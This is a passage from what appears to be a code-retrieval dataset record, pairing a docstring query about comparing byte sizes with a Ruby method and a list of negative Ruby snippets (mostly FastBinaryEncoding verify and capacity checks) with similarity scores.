fbe_current_size += int16b3.fbe_size\n\n if (fbe_current_size + int16b4.fbe_size) > fbe_struct_size\n return true\n end\n unless int16b4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int16b4.fbe_size\n\n if (fbe_current_size + int16b5.fbe_size) > fbe_struct_size\n return true\n end\n unless int16b5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int16b5.fbe_size\n\n if (fbe_current_size + uint16b0.fbe_size) > fbe_struct_size\n return true\n end\n unless uint16b0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint16b0.fbe_size\n\n if (fbe_current_size + uint16b1.fbe_size) > fbe_struct_size\n return true\n end\n unless uint16b1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint16b1.fbe_size\n\n if (fbe_current_size + uint16b2.fbe_size) > fbe_struct_size\n return true\n end\n unless uint16b2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint16b2.fbe_size\n\n if (fbe_current_size + uint16b3.fbe_size) > fbe_struct_size\n return true\n end\n unless uint16b3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint16b3.fbe_size\n\n if (fbe_current_size + uint16b4.fbe_size) > fbe_struct_size\n return true\n end\n unless uint16b4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint16b4.fbe_size\n\n if (fbe_current_size + uint16b5.fbe_size) > fbe_struct_size\n return true\n end\n unless uint16b5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint16b5.fbe_size\n\n if (fbe_current_size + int32b0.fbe_size) > fbe_struct_size\n return true\n end\n unless int32b0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int32b0.fbe_size\n\n if (fbe_current_size + int32b1.fbe_size) > fbe_struct_size\n return true\n end\n unless int32b1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int32b1.fbe_size\n\n if (fbe_current_size + int32b2.fbe_size) > fbe_struct_size\n return true\n end\n unless int32b2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int32b2.fbe_size\n\n if (fbe_current_size + int32b3.fbe_size) > fbe_struct_size\n return true\n end\n unless int32b3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int32b3.fbe_size\n\n if (fbe_current_size + int32b4.fbe_size) > fbe_struct_size\n return true\n end\n unless int32b4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int32b4.fbe_size\n\n if (fbe_current_size + int32b5.fbe_size) > fbe_struct_size\n return true\n end\n unless int32b5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int32b5.fbe_size\n\n if (fbe_current_size + uint32b0.fbe_size) > fbe_struct_size\n return true\n end\n unless uint32b0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint32b0.fbe_size\n\n if (fbe_current_size + uint32b1.fbe_size) > fbe_struct_size\n return true\n end\n unless uint32b1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint32b1.fbe_size\n\n if (fbe_current_size + uint32b2.fbe_size) > fbe_struct_size\n return true\n end\n unless uint32b2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint32b2.fbe_size\n\n if (fbe_current_size + uint32b3.fbe_size) > fbe_struct_size\n return true\n end\n unless uint32b3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint32b3.fbe_size\n\n if (fbe_current_size + uint32b4.fbe_size) > fbe_struct_size\n return true\n end\n unless uint32b4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint32b4.fbe_size\n\n if (fbe_current_size + uint32b5.fbe_size) > fbe_struct_size\n return true\n end\n unless uint32b5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint32b5.fbe_size\n\n if (fbe_current_size + int64b0.fbe_size) > fbe_struct_size\n return true\n end\n unless int64b0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int64b0.fbe_size\n\n if (fbe_current_size + int64b1.fbe_size) > fbe_struct_size\n return true\n end\n unless int64b1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int64b1.fbe_size\n\n if (fbe_current_size + int64b2.fbe_size) > fbe_struct_size\n return true\n end\n unless int64b2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int64b2.fbe_size\n\n if (fbe_current_size + int64b3.fbe_size) > fbe_struct_size\n return true\n end\n unless int64b3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int64b3.fbe_size\n\n if (fbe_current_size + int64b4.fbe_size) > fbe_struct_size\n return true\n end\n unless int64b4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int64b4.fbe_size\n\n if (fbe_current_size + int64b5.fbe_size) > fbe_struct_size\n return true\n end\n unless int64b5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += int64b5.fbe_size\n\n if (fbe_current_size + uint64b0.fbe_size) > fbe_struct_size\n return true\n end\n unless uint64b0.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint64b0.fbe_size\n\n if (fbe_current_size + uint64b1.fbe_size) > fbe_struct_size\n return true\n end\n unless uint64b1.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint64b1.fbe_size\n\n if (fbe_current_size + uint64b2.fbe_size) > fbe_struct_size\n return true\n end\n unless uint64b2.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint64b2.fbe_size\n\n if (fbe_current_size + uint64b3.fbe_size) > fbe_struct_size\n return true\n end\n unless uint64b3.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint64b3.fbe_size\n\n if (fbe_current_size + uint64b4.fbe_size) > fbe_struct_size\n return true\n end\n unless uint64b4.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint64b4.fbe_size\n\n if (fbe_current_size + uint64b5.fbe_size) > fbe_struct_size\n return true\n end\n unless uint64b5.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += uint64b5.fbe_size\n\n true\n end",
"def can_deal?\n size() >= 6\n end",
"def character_size_doubled?\n @cr[3][0] == 1\n end",
"def full?\n bike_count >= capacity\n end",
"def full?\n # return true if the value of the abolute value of the instance var @tail\n # is equal to the value of the instance var @size\n # otherwise return false\n @tail.abs == (@size)\n # end the full? method\n end",
"def summarizable?\n size < MAX_SIZE\n end",
"def static_length?\n !static_length.nil?\n end",
"def check_full? \n \t\treturn true if @size==16 #size increase by 1 with every turn so when it reaches 16 we know that all cells are full\n\tend",
"def correct_input_size?(input_ary, ref_size)\n input_ary.length == ref_size\n end",
"def full?\n self.length == CARDS.length\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end",
"def can_fit(obj)\n# $logger.info \"can_fit: #{(@max_count.nil? || @count < @max_count)} && \" +\n# \"#{(@max_size.nil? || (obj.respond_to?(:size) && @size + obj.size > @max_size))} && \" +\n# \"#{(@allowed_types == :all || @allowed_types.any? { |type| obj.is_a?(type) })}\"\n\n (@max_count.nil? || @count < @max_count) &&\n (@max_size.nil? || (obj.respond_to?(:size) && @size + obj.size > @max_size)) &&\n (@allowed_types == :all || @allowed_types.any? { |type| obj.is_a?(type) })\n end",
"def verify_fields(fbe_struct_size)\n fbe_current_size = 4 + 4\n\n if (fbe_current_size + id.fbe_size) > fbe_struct_size\n return true\n end\n unless id.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += id.fbe_size\n\n if (fbe_current_size + symbol.fbe_size) > fbe_struct_size\n return true\n end\n unless symbol.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += symbol.fbe_size\n\n if (fbe_current_size + side.fbe_size) > fbe_struct_size\n return true\n end\n unless side.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += side.fbe_size\n\n if (fbe_current_size + type.fbe_size) > fbe_struct_size\n return true\n end\n unless type.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += type.fbe_size\n\n if (fbe_current_size + price.fbe_size) > fbe_struct_size\n return true\n end\n unless price.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += price.fbe_size\n\n if (fbe_current_size + volume.fbe_size) > fbe_struct_size\n return true\n end\n unless volume.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += volume.fbe_size\n\n true\n end",
"def full?(person_or_type = nil)\n return false if capacity(person_or_type).nil? || capacity(person_or_type) <= 0\n attendees.rsvpd(person_or_type).size >= capacity(person_or_type)\n end",
"def free_space_ok?\n #todo: need real heuristic\n free_space['main']['inodes'] > 100000\n end",
"def size_check(size)\n size_regex = /[0-1]{32}/\n if size_regex.match(size)\n true\n else\n false\n end\n end",
"def can_build?\n length > 1\n end",
"def note_size_requires_roll?\n @note.size == 0 || (@maxsize > 0 && @note.size > @maxsize)\n end",
"def optimized?(src, dst)\n dst_size = dst.size?\n dst_size && dst_size < src.size\n end",
"def optimized?(src, dst)\n dst.size? && dst.size < src.size\n end",
"def packed?\n @packed\n end",
"def ensure_capacity?\n additional = 0\n capacity = true\n\n if @pool.size < @min_length\n additional = @min_length - @pool.size\n elsif @queue.empty? && @queue.num_waiting >= 1\n additional = 0\n elsif @pool.size == 0 && @min_length == 0\n additional = 1\n elsif @pool.size < @max_length || @max_length == 0\n additional = 1\n elsif @max_queue == 0 || @queue.size < @max_queue\n additional = 0\n else\n capacity = false\n end\n\n additional.times do\n @pool << create_worker_thread\n end\n\n if additional > 0\n @largest_length = [@largest_length, @pool.length].max\n end\n\n capacity\n end",
"def full?\n # return true if the value of the instance var @top\n # is equal to the value of the difference between instance var @size and int 1\n # otherwise return false\n @top == (@size - 1)\n # end full? method\n end",
"def isFull?\n end",
"def full\n count == @size\n end",
"def bignumeric?\n type == \"BIGNUMERIC\"\n end",
"def valid?\n received, sent = received_chunk_sizes, sent_chunk_sizes\n sent.all? { |id, size| received[id] == size }\n end",
"def type_size\n @type.size\n end",
"def used_bits?(_options = {})\n used_bits.size > 0\n end",
"def valid?\n received, sent = received_chunk_sizes, sent_chunk_sizes\n sent.all? { |id, size| received[id] == size }\n end",
"def spaceAvailable\n return @maxElements > @weapons.length + @shieldBoosters.length\n end",
"def verify_fields(fbe_struct_size)\n fbe_current_size = 4 + 4\n\n if (fbe_current_size + id.fbe_size) > fbe_struct_size\n return true\n end\n unless id.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += id.fbe_size\n\n if (fbe_current_size + name.fbe_size) > fbe_struct_size\n return true\n end\n unless name.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += name.fbe_size\n\n if (fbe_current_size + state.fbe_size) > fbe_struct_size\n return true\n end\n unless state.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += state.fbe_size\n\n if (fbe_current_size + wallet.fbe_size) > fbe_struct_size\n return true\n end\n unless wallet.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += wallet.fbe_size\n\n if (fbe_current_size + asset.fbe_size) > fbe_struct_size\n return true\n end\n unless asset.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += asset.fbe_size\n\n if (fbe_current_size + orders.fbe_size) > fbe_struct_size\n return true\n end\n unless orders.verify\n return false\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += orders.fbe_size\n\n true\n end",
"def full?\n return false if capacity.nil?\n capacity - mentor_terms_count <= 0\n end",
"def needs_encoding?\n ![ :binary, :date, :datetime, :boolean, :float, :integer ].include?(type)\n end",
"def byte_size()\n if @record and RECORD_INFO[@record.type].size > 0 then\n RECORD_INFO[@record.type].size * @value.length\n else\n sum = 0\n @value.each do |val|\n sum += (val.length % 2 == 0) ? val.length : val.length + 1\n end\n sum\n end\n end",
"def spaceAvailable\n\t\treturn @maxElements > @weapons.length + @shieldBoosters.length\n\tend",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def needs_encoding?\n ![ :binary, :date, :datetime, :boolean, :float, :integer ].include?(type)\n end",
"def long?\n @name.length >= 15\n end",
"def valid?\n return false if !@message.nil? && @message.to_s.length > 5000\n return false if !@type.nil? && @type.to_s.length > 100\n true\n end",
"def determine_length\n determine_length_support\n end",
"def threshold?\n hash_size / 2 == buckets.compact.count / 2\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end",
"def fbe_size\n 1\n end"
] |
[
"0.7531907",
"0.6999198",
"0.647988",
"0.61659956",
"0.6070356",
"0.60588706",
"0.60588706",
"0.6053423",
"0.6031307",
"0.5974973",
"0.5964287",
"0.5945918",
"0.59433",
"0.592715",
"0.59269476",
"0.5919197",
"0.5911733",
"0.5868767",
"0.5847259",
"0.5841985",
"0.5833964",
"0.58086467",
"0.57978404",
"0.5796786",
"0.5762852",
"0.5720172",
"0.5713633",
"0.5709343",
"0.5704305",
"0.56881183",
"0.567997",
"0.5671623",
"0.56688666",
"0.5667122",
"0.5658825",
"0.56432295",
"0.56424433",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.5636171",
"0.56315416",
"0.56315416",
"0.56315416",
"0.56315416",
"0.56257004",
"0.56246597",
"0.56215173",
"0.55972874",
"0.5584298",
"0.5579344",
"0.55792767",
"0.5576054",
"0.55685407",
"0.5559163",
"0.5552337",
"0.55391026",
"0.55307794",
"0.55289525",
"0.55288494",
"0.55270034",
"0.552188",
"0.551603",
"0.55009705",
"0.5499219",
"0.5495527",
"0.5495166",
"0.5492953",
"0.54888654",
"0.54872835",
"0.5473557",
"0.5473557",
"0.5473557",
"0.5473557",
"0.5471209",
"0.5460555",
"0.54432577",
"0.54398924",
"0.54369307",
"0.5431271",
"0.5431271",
"0.5431271",
"0.5431271",
"0.5431271",
"0.5431271",
"0.5431271",
"0.5431271",
"0.5431271",
"0.5431271",
"0.5431271"
] |
0.74876845
|
1
|
Returns true if this type is always guaranteed to have more bytes than another.
|
def more_bytes_than?(other)
possible_byte_sizes.min > other.possible_byte_sizes.max
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def as_many_bytes_as?(other)\n type_id.abs >= other.type_id.abs # TODO: use possible_byte_sizes\n end",
"def have?(length)\n return length <= @buffer.bytesize \n end",
"def bytes?\n type == \"BYTES\"\n end",
"def full?\n self.count == self.max_space\n end",
"def complete?\n buff.length < @maxlen\n end",
"def complete?\n @bytes == [[0, @length - 1, true]]\n end",
"def more?\n return @chunks.length > @index\n end",
"def size_exhausted?\n @size >= (MAX_BYTES - Defaults::Metric::MAX_BYTES)\n end",
"def size_exhausted?\n @json_size >= (MAX_BYTES - Defaults::Message::MAX_BYTES)\n end",
"def expected_length?(length)\n expected == length\n end",
"def same_length?\n @first.length == @second.length\n end",
"def same_byte_length?(hash1, hash2)\n hash1.to_s.length == hash2.to_s.length\n end",
"def is_full()\n @current_size == @max_size\n end",
"def is_full()\n @current_size == @max_size\n end",
"def full?\n # return true if the value of the abolute value of the instance var @tail\n # is equal to the value of the instance var @size\n # otherwise return false\n @tail.abs == (@size)\n # end the full? method\n end",
"def whole_reg?\n size == parent.size\n end",
"def size?() end",
"def can_make_new?(current_size)\n if @max_size > current_size\n @size[0] += 1\n end\n end",
"def full?\n self.length == CARDS.length\n end",
"def full?\n return (@fill_count == size)\n end",
"def full?\n # return true if the value of the instance var @top\n # is equal to the value of the difference between instance var @size and int 1\n # otherwise return false\n @top == (@size - 1)\n # end full? method\n end",
"def sufficient_length?(chunk)\n return true unless chunk\n return true unless chunk.pushdata?\n buf = StringIO.new(chunk)\n opcode = buf.read(1).ord\n return false if OP_PUSHDATA1 <= opcode && opcode <= OP_PUSHDATA4 && buf.eof?\n len = read_length(opcode, buf)\n return true if len == 0\n rest = (buf.size - buf.pos)\n rest == len\n end",
"def static_length?\n !static_length.nil?\n end",
"def valid?\n received, sent = received_chunk_sizes, sent_chunk_sizes\n sent.all? { |id, size| received[id] == size }\n end",
"def valid_length?(length)\n expected == length\n end",
"def valid?\n received, sent = received_chunk_sizes, sent_chunk_sizes\n sent.all? { |id, size| received[id] == size }\n end",
"def is_full()\n if @q.count == @length\n true\n else\n false\n end\n end",
"def full?\n @top == (@size - 1)\n end",
"def full?\n @top == (@size - 1)\n end",
"def full?\n @top == (@size - 1)\n end",
"def full?\n @top == (@size - 1)\n end",
"def multi_arged?\n !first.is_a?(Hash) && first.resizable? || size > 1\n end",
"def aligned_ok(size)\n (size & (2 * size_t - 1)).zero?\n end",
"def optimized?(src, dst)\n dst.size? && dst.size < src.size\n end",
"def full\n count == @size\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset) > buffer.size\n return false\n end\n\n fbe_struct_size = read_uint32(@_model.fbe_offset - 8)\n fbe_struct_type = read_uint32(@_model.fbe_offset - 4)\n if (fbe_struct_size <= 0) or (fbe_struct_type != fbe_type)\n return false\n end\n\n (8 + @_model.verify) == fbe_struct_size\n end",
"def full?\n bike_count >= capacity\n end",
"def full?\n # index of the last item in @store is equal to size of the array - 1\n @top == (@size - 1)\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def verify\n if (buffer.offset + @_model.fbe_offset - 4) > buffer.size\n return false\n end\n\n fbe_full_size = read_uint32(@_model.fbe_offset - 4)\n if fbe_full_size < @_model.fbe_size\n return false\n end\n\n @_model.verify\n end",
"def summarizable?\n size < MAX_SIZE\n end",
"def one_away?(a, b)\n if(abs(a.length - b.length) > 1)\n false\n #replacement?\n elsif(a.length == b.length)\n if(a == b)\n true\n else\n one_operation?(a, b, :setbyte)\n end\n #insertion or deletion\n else\n if(a.length > b.length)\n one_operation?(a, b, :insert)\n else\n one_operation?(b, a, :insert)\n end\n end\n end",
"def optimized?(src, dst)\n dst_size = dst.size?\n dst_size && dst_size < src.size\n end",
"def more?\n all_contents[next_offset].present?\n end",
"def note_size_requires_roll?\n @note.size == 0 || (@maxsize > 0 && @note.size > @maxsize)\n end",
"def bucket_full?(bucket)\n @buffer[bucket].size >= @buffer_max\n end",
"def full?\n length && subscriber && length >= subscriber.max_events\n end",
"def bounded?\n @timestamps[-2] + 2.0 <= video_length\n end",
"def bytes?(object)\n object.kind_of?(Fixnum) && object >= 0x00 && object <= 0xFF\n end",
"def expected_length?\n formatted_number.length == 16 ||\n formatted_number.length == 17\n end",
"def fully_downloaded?\n self.transmission_status == 8 && self.transmission_total_size == self.transmission_downloaded_size\n end",
"def is_big_enough_to_store_message?(message)\n msg_a = Image::get_message_as_binary_array_with_leading_zeros(message)\n msg_a.length <= @width*@height\n end",
"def file_can_fit?(bytes)\n (self.filesize + bytes) < SitemapGenerator::MAX_SITEMAP_FILESIZE && self.link_count < SitemapGenerator::MAX_SITEMAP_LINKS\n end",
"def over_capacity?\n @passengers.length > @capacity\n end",
"def full?\n return false if capacity.nil?\n capacity - mentor_terms_count <= 0\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def verify\n if (@_buffer.offset + fbe_offset + fbe_size) > @_buffer.size\n return FBE::Integer::MAX\n end\n\n fbe_size\n end",
"def spaceAvailable\n return @maxElements > @weapons.length + @shieldBoosters.length\n end",
"def full?\n # absolute value of @tail is equal to the number of slots in the queue (@size)\n @tail.abs == (@size)\n end",
"def full?\n# If @top is equal to the size of the array - 1, return true, otherwise false.\n @top == (@size - 1)\n end",
"def free_space_ok?\n #todo: need real heuristic\n free_space['main']['inodes'] > 100000\n end",
"def queued_messages?\r\n @pointer < @buffer.length\r\n end",
"def size_check(cmd)\n cursize = @table.join.bytesize + @table.size * 32\n cmdsize = cmd[:name].bytesize + cmd[:value].bytesize + 32\n\n # The addition of a new entry with a size greater than the\n # SETTINGS_HEADER_TABLE_SIZE limit causes all the entries from the\n # header table to be dropped and the new entry not to be added to the\n # header table. The replacement of an existing entry with a new entry\n # with a size greater than the SETTINGS_HEADER_TABLE_SIZE has the same\n # consequences.\n if cmdsize > @limit\n @table.clear\n return false\n end\n\n cur = 0\n while (cursize + cmdsize) > @limit do\n e = @table.shift\n\n # When the modification of the header table is the replacement of an\n # existing entry, the replaced entry is the one indicated in the\n # literal representation before any entry is removed from the header\n # table. If the entry to be replaced is removed from the header table\n # when performing the size adjustment, the replacement entry is\n # inserted at the beginning of the header table.\n if cmd[:type] == :substitution && cur == cmd[:index]\n cmd[:type] = :prepend\n end\n\n cursize -= (e.join.bytesize + 32)\n end\n\n return true\n end",
"def full?\n !free?\n end",
"def data_is_recent_enough?\n # It's possible for a replica to not replay WAL data for a while,\n # despite being up to date. This can happen when a primary does not\n # receive any writes for a while.\n #\n # To prevent this from happening we check if the lag size (in bytes)\n # of the replica is small enough for the replica to be useful. We\n # only do this if we haven't replicated in a while so we only need\n # to connect to the primary when truly necessary.\n if (lag_size = replication_lag_size)\n lag_size <= load_balancer.configuration.max_replication_difference\n else\n false\n end\n end",
"def crash?\n @position.length != @position.uniq.length\n end",
"def check_allowed_bytesize(v, max)\n end",
"def capacity_full?\n (batches.sum(:capacity) <= events_candidates.count('batch_id is not null'))\n end",
"def isFull?\n end",
"def commensurate?(other)\n s = self.base.unit.map{ |u| u.type }.uniq\n o = other.base.unit.map{ |u| u.type }.uniq\n (s - o).empty? && (o - s).empty?\n end",
"def spaceAvailable\n\t\treturn @maxElements > @weapons.length + @shieldBoosters.length\n\tend",
"def full?\n\t\t\t\t@available <= 0\n\t\t\tend",
"def threshold?\n hash_size / 2 == buckets.compact.count / 2\n end",
